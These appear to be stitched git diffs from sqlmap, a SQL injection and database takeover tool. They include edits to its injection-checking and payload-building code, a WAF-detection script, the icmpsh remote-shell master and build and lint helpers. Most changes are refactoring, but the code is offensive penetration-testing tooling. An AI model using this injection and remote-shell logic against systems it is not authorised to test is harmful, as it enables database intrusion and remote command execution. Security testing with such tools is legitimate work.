* Отслеживание проблем: https://github.com/sqlmapproject/sqlmap/issues
* Пользовательский мануал: https://github.com/sqlmapproject/sqlmap/wiki
* Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
* Демки: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
* Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View File

@@ -80,7 +80,7 @@ def main(src, dst):
cmd = ''
# Wait for incoming replies
if sock in select.select([ sock ], [], [])[0]:
if sock in select.select([sock], [], [])[0]:
buff = sock.recv(4096)
if 0 == len(buff):
@@ -125,8 +125,12 @@ def main(src, dst):
# Have the IP packet contain the ICMP packet (along with its payload)
ip.contains(icmp)
# Send it to the target host
sock.sendto(ip.get_packet(), (dst, 0))
try:
# Send it to the target host
sock.sendto(ip.get_packet(), (dst, 0))
except socket.error, ex:
sys.stderr.write("'%s'\n" % ex)
sys.stderr.flush()
if __name__ == '__main__':
if len(sys.argv) < 3:

View File

@@ -43,7 +43,7 @@ def updateMSSQLXML():
return
releases = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server\s(.+?)\sBuilds", mssqlVersionsHtmlString, re.I)
releases = re.findall(r"class=\"BCC_DV_01DarkBlueTitle\">SQL Server\s(.+?)\sBuilds", mssqlVersionsHtmlString, re.I)
releasesCount = len(releases)
# Create the minidom document
@@ -74,7 +74,7 @@ def updateMSSQLXML():
stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1])
mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx]
servicepackVersion = re.findall("</td><td>(7\.0|2000|2005|2008|2008 R2)*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I)
servicepackVersion = re.findall(r"</td><td>(7\.0|2000|2005|2008|2008 R2)*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I)
for servicePack, version in servicepackVersion:
if servicePack.startswith(" "):

30
extra/shutils/newlines.py Normal file
View File

@@ -0,0 +1,30 @@
#! /usr/bin/env python
# Runs pylint on all python scripts found in a directory tree
# Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html
import os
import sys
def check(filepath):
if filepath.endswith(".py"):
content = open(filepath, "rb").read()
if "\n\n\n" in content:
index = content.find("\n\n\n")
print filepath, repr(content[index - 30:index + 30])
if __name__ == "__main__":
try:
BASE_DIRECTORY = sys.argv[1]
except IndexError:
print "no directory specified, defaulting to current working directory"
BASE_DIRECTORY = os.getcwd()
print "looking for *.py scripts in subdirectories of ", BASE_DIRECTORY
for root, dirs, files in os.walk(BASE_DIRECTORY):
if any(_ in root for _ in ("extra", "thirdparty")):
continue
for name in files:
filepath = os.path.join(root, name)
check(filepath)

View File

@@ -1,7 +0,0 @@
#!/bin/bash
# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission
# Runs pep8 on all python files (prerequisite: apt-get install pep8)
find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pep8 '{}' \;

View File

@@ -12,21 +12,21 @@ CHECKSUM_FULLPATH=${SCRIPTPATH%/*}/$CHECKSUM
git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0
# if [ -f $SETTINGS_FULLPATH ]
# then
# LINE=$(grep -o ${SETTINGS_FULLPATH} -e 'VERSION = "[0-9.]*"')
# declare -a LINE
# INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.append(0) if len(_) < 3 else _; _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE")
# if [ -n "$INCREMENTED" ]
# then
# sed -i "s/${LINE}/${INCREMENTED}/" $SETTINGS_FULLPATH
# echo "Updated ${INCREMENTED} in ${SETTINGS_FULLPATH}"
# else
# echo "Something went wrong in VERSION increment"
# exit 1
# fi
# git add "$SETTINGS_FULLPATH"
# fi
if [ -f $SETTINGS_FULLPATH ]
then
LINE=$(grep -o ${SETTINGS_FULLPATH} -e 'VERSION = "[0-9.]*"')
declare -a LINE
INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.append(0) if len(_) < 3 else _; _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE")
if [ -n "$INCREMENTED" ]
then
sed -i "s/${LINE}/${INCREMENTED}/" $SETTINGS_FULLPATH
echo "Updated ${INCREMENTED} in ${SETTINGS_FULLPATH}"
else
echo "Something went wrong in VERSION increment"
exit 1
fi
git add "$SETTINGS_FULLPATH"
fi
truncate -s 0 "$CHECKSUM_FULLPATH"
cd $PROJECT_FULLPATH && for i in $(find . -name "*.py" -o -name "*.xml" -o -iname "*_" | sort); do git ls-files $i --error-unmatch &>/dev/null && md5sum $i | stdbuf -i0 -o0 -e0 sed 's/\.\///' >> "$CHECKSUM_FULLPATH"; git add "$CHECKSUM_FULLPATH"; done

7
extra/shutils/pycodestyle.sh Executable file
View File

@@ -0,0 +1,7 @@
#!/bin/bash
# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission
# Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)
find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pycodestyle --ignore=E501,E302,E305,E722,E402 '{}' \;

View File

@@ -25,10 +25,11 @@ from setuptools import setup, find_packages
setup(
name='sqlmap',
version='$VERSION',
description="Automatic SQL injection and database takeover tool",
description='Automatic SQL injection and database takeover tool',
long_description='sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.',
author='Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar',
author_email='bernardo@sqlmap.org, miroslav@sqlmap.org',
url='https://sqlmap.org',
url='http://sqlmap.org',
download_url='https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip',
license='GNU General Public License v2 (GPLv2)',
packages=find_packages(),

View File

@@ -27,7 +27,7 @@ SMTP_SERVER = "127.0.0.1"
SMTP_PORT = 25
SMTP_TIMEOUT = 30
FROM = "regressiontest@sqlmap.org"
#TO = "dev@sqlmap.org"
# TO = "dev@sqlmap.org"
TO = ["bernardo.damele@gmail.com", "miroslav.stampar@gmail.com"]
SUBJECT = "regression test started on %s using revision %s" % (START_TIME, getRevisionNumber())
TARGET = "debian"
@@ -83,7 +83,7 @@ def main():
if stderr:
failure_email("Execution of regression test failed with error:\n\n%s" % stderr)
failed_tests = re.findall("running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing items: (.+))?\s*\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout)
failed_tests = re.findall(r"running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing items: (.+))?\s*\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout)
for failed_test in failed_tests:
title = failed_test[0]

View File

@@ -0,0 +1,8 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
pass

View File

@@ -0,0 +1,121 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import cookielib
import glob
import httplib
import inspect
import os
import re
import subprocess
import sys
import urllib
import urllib2
import urlparse
sys.dont_write_bytecode = True
NAME, VERSION, AUTHOR = "WAF Detectify", "0.1", "sqlmap developers (@sqlmap)"
TIMEOUT = 10
HEADERS = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Cache-Control": "max-age=0"}
SQLMAP_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", ".."))
SCRIPTS_DIR = os.path.join(SQLMAP_DIR, "waf")
LEVEL_COLORS = {"o": "\033[00;94m", "x": "\033[00;91m", "!": "\033[00;93m", "i": "\033[00;92m"}
CACHE = {}
WAF_FUNCTIONS = []
def get_page(get=None, url=None, host=None, data=None):
key = (get, url, host, data)
if key in CACHE:
return CACHE[key]
page, headers, code = None, {}, httplib.OK
url = url or ("%s%s%s" % (sys.argv[1], '?' if '?' not in sys.argv[1] else '&', get) if get else sys.argv[1])
if not url.startswith("http"):
url = "http://%s" % url
try:
req = urllib2.Request("".join(url[_].replace(' ', "%20") if _ > url.find('?') else url[_] for _ in xrange(len(url))), data, HEADERS)
conn = urllib2.urlopen(req, timeout=TIMEOUT)
page = conn.read()
headers = conn.info()
except Exception, ex:
code = getattr(ex, "code", None)
page = ex.read() if hasattr(ex, "read") else getattr(ex, "msg", "")
headers = ex.info() if hasattr(ex, "info") else {}
result = CACHE[key] = page, headers, code
return result
def colorize(message):
if not subprocess.mswindows and sys.stdout.isatty():
message = re.sub(r"\[(.)\]", lambda match: "[%s%s\033[00;49m]" % (LEVEL_COLORS[match.group(1)], match.group(1)), message)
message = message.replace("@sqlmap", "\033[00;96m@sqlmap\033[00;49m")
message = message.replace(NAME, "\033[00;93m%s\033[00;49m" % NAME)
return message
def main():
global WAF_FUNCTIONS
print colorize("%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR))
if len(sys.argv) < 2:
exit(colorize("[x] usage: python %s <hostname>" % os.path.split(__file__)[-1]))
cookie_jar = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))
urllib2.install_opener(opener)
sys.path.insert(0, SQLMAP_DIR)
for found in glob.glob(os.path.join(SCRIPTS_DIR, "*.py")):
dirname, filename = os.path.split(found)
dirname = os.path.abspath(dirname)
if filename == "__init__.py":
continue
if dirname not in sys.path:
sys.path.insert(0, dirname)
try:
if filename[:-3] in sys.modules:
del sys.modules[filename[:-3]]
module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or "utf8"))
except ImportError, msg:
exit(colorize("[x] cannot import WAF script '%s' (%s)" % (filename[:-3], msg)))
_ = dict(inspect.getmembers(module))
if "detect" not in _:
exit(colorize("[x] missing function 'detect(get_page)' in WAF script '%s'" % found))
else:
WAF_FUNCTIONS.append((_["detect"], _.get("__product__", filename[:-3])))
WAF_FUNCTIONS = sorted(WAF_FUNCTIONS, key=lambda _: "generic" in _[1].lower())
print colorize("[i] %d WAF scripts loaded" % len(WAF_FUNCTIONS))
found = False
for function, product in WAF_FUNCTIONS:
if found and "unknown" in product.lower():
continue
if function(get_page):
print colorize("[!] WAF/IPS/IDS identified as '%s'" % product)
found = True
if not found:
print colorize("[o] nothing found")
print
if __name__ == "__main__":
main()

View File

@@ -140,11 +140,11 @@ def action():
conf.dbmsHandler.udfInjectCustom()
# File system options
if conf.rFile:
conf.dumper.rFile(conf.dbmsHandler.readFile(conf.rFile))
if conf.fileRead:
conf.dumper.rFile(conf.dbmsHandler.readFile(conf.fileRead))
if conf.wFile:
conf.dbmsHandler.writeFile(conf.wFile, conf.dFile, conf.wFileType)
if conf.fileWrite:
conf.dbmsHandler.writeFile(conf.fileWrite, conf.fileDest, conf.fileWriteType)
# Operating system options
if conf.osCmd:

View File

@@ -13,6 +13,7 @@ import random
import re
import socket
import subprocess
import sys
import tempfile
import time
@@ -47,6 +48,7 @@ from lib.core.common import unArrayizeValue
from lib.core.common import urlencode
from lib.core.common import wasLastResponseDBMSError
from lib.core.common import wasLastResponseHTTPError
from lib.core.convert import unicodeencode
from lib.core.defaults import defaults
from lib.core.data import conf
from lib.core.data import kb
@@ -54,6 +56,7 @@ from lib.core.data import logger
from lib.core.datatype import AttribDict
from lib.core.datatype import InjectionDict
from lib.core.decorators import cachedmethod
from lib.core.decorators import stackedmethod
from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.enums import DBMS
from lib.core.enums import HASHDB_KEYS
@@ -88,6 +91,7 @@ from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH
from lib.core.settings import SLEEP_TIME_MARKER
from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
from lib.core.settings import SUPPORTED_DBMS
from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import URI_HTTP_HEADER
from lib.core.settings import UPPER_RATIO_BOUND
from lib.core.threads import getCurrentThreadData
@@ -146,8 +150,7 @@ def checkSqlInjection(place, parameter, value):
# error message, simple heuristic check or via DBMS-specific
# payload), ask the user to limit the tests to the fingerprinted
# DBMS
if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), \
SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
@@ -156,9 +159,7 @@ def checkSqlInjection(place, parameter, value):
# message, via simple heuristic check or via DBMS-specific
# payload), ask the user to extend the tests to all DBMS-specific,
# regardless of --level and --risk values provided
if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) \
and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or \
kb.heuristicDbms or injection.dbms):
if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
msg = "for the remaining tests, do you want to include all tests "
msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
msg += "level (%d)" % conf.level if conf.level < 5 else ""
@@ -206,7 +207,7 @@ def checkSqlInjection(place, parameter, value):
continue
match = re.search(r"(\d+)-(\d+)", test.request.columns)
if injection.data and match:
if match and injection.data:
lower, upper = int(match.group(1)), int(match.group(2))
for _ in (lower, upper):
if _ > 1:
@@ -242,9 +243,7 @@ def checkSqlInjection(place, parameter, value):
# Skip tests if title, vector or DBMS is not included by the
# given test filter
if conf.testFilter and not any(conf.testFilter in str(item) or \
re.search(conf.testFilter, str(item), re.I) for item in \
(test.title, test.vector, payloadDbms)):
if conf.testFilter and not any(conf.testFilter in str(item) or re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
debugMsg = "skipping test '%s' because its " % title
debugMsg += "name/vector/DBMS is not included by the given filter"
logger.debug(debugMsg)
@@ -252,9 +251,7 @@ def checkSqlInjection(place, parameter, value):
# Skip tests if title, vector or DBMS is included by the
# given skip filter
if conf.testSkip and any(conf.testSkip in str(item) or \
re.search(conf.testSkip, str(item), re.I) for item in \
(test.title, test.vector, payloadDbms)):
if conf.testSkip and any(conf.testSkip in str(item) or re.search(conf.testSkip, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
debugMsg = "skipping test '%s' because its " % title
debugMsg += "name/vector/DBMS is included by the given skip filter"
logger.debug(debugMsg)
@@ -336,6 +333,23 @@ def checkSqlInjection(place, parameter, value):
logger.debug(debugMsg)
continue
if stype == PAYLOAD.TECHNIQUE.UNION:
match = re.search(r"(\d+)-(\d+)", test.request.columns)
if match and not injection.data:
_ = test.request.columns.split('-')[-1]
if conf.uCols is None and _.isdigit() and int(_) > 10:
if kb.futileUnion is None:
msg = "it is not recommended to perform "
msg += "extended UNION tests if there is not "
msg += "at least one other (potential) "
msg += "technique found. Do you want to skip? [Y/n] "
kb.futileUnion = not readInput(msg, default='Y', boolean=True)
if kb.futileUnion is False:
debugMsg = "skipping test '%s'" % title
logger.debug(debugMsg)
continue
infoMsg = "testing '%s'" % title
logger.info(infoMsg)
@@ -421,7 +435,7 @@ def checkSqlInjection(place, parameter, value):
if conf.invalidLogical:
_ = int(kb.data.randomInt[:2])
origValue = "%s AND %s=%s" % (value, _, _ + 1)
origValue = "%s AND %s LIKE %s" % (value, _, _ + 1)
elif conf.invalidBignum:
origValue = kb.data.randomInt[:6]
elif conf.invalidString:
@@ -442,11 +456,13 @@ def checkSqlInjection(place, parameter, value):
boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
if reqPayload:
if reqPayload in seenPayload:
stripPayload = re.sub(r"(\A|\b|_)([A-Za-z]{4}((?<!LIKE))|\d+)(_|\b|\Z)", r"\g<1>.\g<4>", reqPayload)
if stripPayload in seenPayload:
continue
else:
seenPayload.add(reqPayload)
seenPayload.add(stripPayload)
else:
reqPayload = None
@@ -498,12 +514,16 @@ def checkSqlInjection(place, parameter, value):
errorResult = Request.queryPage(errorPayload, place, raise404=False)
if errorResult:
continue
elif not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
_ = comparison(kb.heuristicPage, None, getRatioValue=True)
if _ > kb.matchRatio:
kb.matchRatio = _
logger.debug("adjusting match ratio for current parameter to %.3f" % kb.matchRatio)
# Reducing false-positive "appears" messages in heavily dynamic environment
if kb.heavilyDynamic and not Request.queryPage(reqPayload, place, raise404=False):
continue
injectable = True
elif threadData.lastComparisonRatio > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
@@ -540,14 +560,14 @@ def checkSqlInjection(place, parameter, value):
logger.info(infoMsg)
else:
trueSet = set(extractTextTagContent(trueRawResponse))
trueSet = trueSet.union(__ for _ in trueSet for __ in _.split())
trueSet |= set(__ for _ in trueSet for __ in _.split())
falseSet = set(extractTextTagContent(falseRawResponse))
falseSet = falseSet.union(__ for _ in falseSet for __ in _.split())
falseSet |= set(__ for _ in falseSet for __ in _.split())
if threadData.lastErrorPage and threadData.lastErrorPage[1]:
errorSet = set(extractTextTagContent(threadData.lastErrorPage[1]))
errorSet = errorSet.union(__ for _ in errorSet for __ in _.split())
errorSet |= set(__ for _ in errorSet for __ in _.split())
else:
errorSet = set()
@@ -588,10 +608,10 @@ def checkSqlInjection(place, parameter, value):
# body for the test's <grep> regular expression
try:
page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False)
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, listToStrValue((headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)
output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE)
output = output or extractRegexResult(check, listToStrValue((headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE)
output = output or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if output:
result = output == "1"
@@ -660,18 +680,6 @@ def checkSqlInjection(place, parameter, value):
infoMsg += "there is at least one other (potential) "
infoMsg += "technique found"
singleTimeLogMessage(infoMsg)
elif not injection.data:
_ = test.request.columns.split('-')[-1]
if _.isdigit() and int(_) > 10:
if kb.futileUnion is None:
msg = "it is not recommended to perform "
msg += "extended UNION tests if there is not "
msg += "at least one other (potential) "
msg += "technique found. Do you want to skip? [Y/n] "
kb.futileUnion = not readInput(msg, default='Y', boolean=True)
if kb.futileUnion is False:
continue
# Test for UNION query SQL injection
reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)
@@ -688,7 +696,7 @@ def checkSqlInjection(place, parameter, value):
kb.previousMethod = method
if conf.dummy or conf.offline:
if conf.offline:
injectable = False
# If the injection test was successful feed the injection
@@ -755,7 +763,7 @@ def checkSqlInjection(place, parameter, value):
infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
logger.info(infoMsg)
process = subprocess.Popen(conf.alert, shell=True)
process = subprocess.Popen(conf.alert.encode(sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
process.wait()
kb.alerted = True
@@ -777,7 +785,7 @@ def checkSqlInjection(place, parameter, value):
if conf.multipleTargets:
msg = "how do you want to proceed? [ne(X)t target/(s)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]"
choice = readInput(msg, default='T', checkBatch=False).upper()
choice = readInput(msg, default='X', checkBatch=False).upper()
else:
msg = "how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]"
choice = readInput(msg, default='S', checkBatch=False).upper()
@@ -830,6 +838,7 @@ def checkSqlInjection(place, parameter, value):
return injection
@stackedmethod
def heuristicCheckDbms(injection):
"""
This functions is called when boolean-based blind is identified with a
@@ -866,6 +875,7 @@ def heuristicCheckDbms(injection):
return retVal
@stackedmethod
def checkFalsePositives(injection):
"""
Checks for false positives (only in single special cases)
@@ -873,8 +883,7 @@ def checkFalsePositives(injection):
retVal = True
if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or\
(len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
pushValue(kb.injection)
infoMsg = "checking if the injection point on %s " % injection.place
@@ -928,6 +937,7 @@ def checkFalsePositives(injection):
return retVal
@stackedmethod
def checkSuhosinPatch(injection):
"""
Checks for existence of Suhosin-patch (and alike) protection mechanism(s)
@@ -951,6 +961,7 @@ def checkSuhosinPatch(injection):
kb.injection = popValue()
@stackedmethod
def checkFilteredChars(injection):
debugMsg = "checking for filtered characters"
logger.debug(debugMsg)
@@ -971,7 +982,7 @@ def checkFilteredChars(injection):
# inference techniques depend on character '>'
if not any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.QUERY)):
if not checkBooleanExpression("%d>%d" % (randInt+1, randInt)):
if not checkBooleanExpression("%d>%d" % (randInt + 1, randInt)):
warnMsg = "it appears that the character '>' is "
warnMsg += "filtered by the back-end server. You are strongly "
warnMsg += "advised to rerun with the '--tamper=between'"
@@ -985,6 +996,11 @@ def heuristicCheckSqlInjection(place, parameter):
logger.debug(debugMsg)
return None
if kb.heavilyDynamic:
debugMsg = "heuristic check skipped because of heavy dynamicity"
logger.debug(debugMsg)
return None
origValue = conf.paramDict[place][parameter]
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
@@ -1171,6 +1187,8 @@ def checkDynamicContent(firstPage, secondPage):
warnMsg += "sqlmap is going to retry the request(s)"
singleTimeLogMessage(warnMsg, logging.CRITICAL)
kb.heavilyDynamic = True
secondPage, _, _ = Request.queryPage(content=True)
findDynamicContent(firstPage, secondPage)
@@ -1306,6 +1324,7 @@ def checkRegexp():
return True
@stackedmethod
def checkWaf():
"""
Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse
@@ -1332,19 +1351,29 @@ def checkWaf():
retVal = False
payload = "%d %s" % (randomInt(), IDS_WAF_CHECK_PAYLOAD)
value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER
value += agent.addPayloadDelimiters("%s=%s" % (randomStr(), payload))
if PLACE.URI in conf.parameters:
place = PLACE.POST
value = "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
else:
place = PLACE.GET
value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER
value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
pushValue(kb.redirectChoice)
pushValue(conf.timeout)
kb.redirectChoice = REDIRECTION.YES
conf.timeout = IDS_WAF_CHECK_TIMEOUT
try:
retVal = Request.queryPage(place=PLACE.GET, value=value, getRatioValue=True, noteResponseTime=False, silent=True)[1] < IDS_WAF_CHECK_RATIO
retVal = Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, disableTampering=True)[1] < IDS_WAF_CHECK_RATIO
except SqlmapConnectionException:
retVal = True
finally:
kb.matchRatio = None
conf.timeout = popValue()
kb.redirectChoice = popValue()
if retVal:
warnMsg = "heuristics detected that the target "
@@ -1366,6 +1395,7 @@ def checkWaf():
return retVal
@stackedmethod
def identifyWaf():
if not conf.identifyWaf:
return None
@@ -1450,6 +1480,7 @@ def identifyWaf():
return retVal
@stackedmethod
def checkNullConnection():
"""
Reference: http://www.wisec.it/sectou.php?id=472f952d79293
@@ -1461,11 +1492,11 @@ def checkNullConnection():
infoMsg = "testing NULL connection to the target URL"
logger.info(infoMsg)
try:
pushValue(kb.pageCompress)
kb.pageCompress = False
pushValue(kb.pageCompress)
kb.pageCompress = False
page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD)
try:
page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD, raise404=False)
if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
kb.nullConnection = NULLCONNECTION.HEAD
@@ -1489,9 +1520,8 @@ def checkNullConnection():
infoMsg = "NULL connection is supported with 'skip-read' method"
logger.info(infoMsg)
except SqlmapConnectionException, ex:
errMsg = getSafeExString(ex)
raise SqlmapConnectionException(errMsg)
except SqlmapConnectionException:
pass
finally:
kb.pageCompress = popValue()
@@ -1499,18 +1529,19 @@ def checkNullConnection():
return kb.nullConnection is not None
def checkConnection(suppressOutput=False):
if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)):
try:
debugMsg = "resolving hostname '%s'" % conf.hostname
logger.debug(debugMsg)
socket.getaddrinfo(conf.hostname, None)
except socket.gaierror:
errMsg = "host '%s' does not exist" % conf.hostname
raise SqlmapConnectionException(errMsg)
except socket.error, ex:
errMsg = "problem occurred while "
errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
raise SqlmapConnectionException(errMsg)
if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", conf.hostname):
if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)):
try:
debugMsg = "resolving hostname '%s'" % conf.hostname
logger.debug(debugMsg)
socket.getaddrinfo(conf.hostname, None)
except socket.gaierror:
errMsg = "host '%s' does not exist" % conf.hostname
raise SqlmapConnectionException(errMsg)
except socket.error, ex:
errMsg = "problem occurred while "
errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
raise SqlmapConnectionException(errMsg)
if not suppressOutput and not conf.dummy and not conf.offline:
infoMsg = "testing connection to the target URL"
@@ -1538,6 +1569,15 @@ def checkConnection(suppressOutput=False):
else:
kb.errorIsNone = True
threadData = getCurrentThreadData()
if kb.redirectChoice == REDIRECTION.YES and threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID:
if (threadData.lastRedirectURL[1] or "").startswith("https://") and unicodeencode(conf.hostname) in threadData.lastRedirectURL[1]:
conf.url = re.sub(r"https?://", "https://", conf.url)
match = re.search(r":(\d+)", threadData.lastRedirectURL[1])
port = match.group(1) if match else 443
conf.url = re.sub(r":\d+/", ":%s/" % port, conf.url)
except SqlmapConnectionException, ex:
if conf.ipv6:
warnMsg = "check connection to a provided "
@@ -1568,8 +1608,8 @@ def checkInternet():
content = Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[0]
return CHECK_INTERNET_VALUE in (content or "")
def setVerbosity(): # Cross-linked function
def setVerbosity(): # Cross-referenced function
raise NotImplementedError
def setWafFunctions(): # Cross-linked function
def setWafFunctions(): # Cross-referenced function
raise NotImplementedError

View File

@@ -43,6 +43,7 @@ from lib.core.common import urldecode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.decorators import stackedmethod
from lib.core.enums import CONTENT_TYPE
from lib.core.enums import HASHDB_KEYS
from lib.core.enums import HEURISTIC_TEST
@@ -152,12 +153,15 @@ def _formatInjection(inj):
vector = "%s%s" % (vector, comment)
data += " Type: %s\n" % PAYLOAD.SQLINJECTION[stype]
data += " Title: %s\n" % title
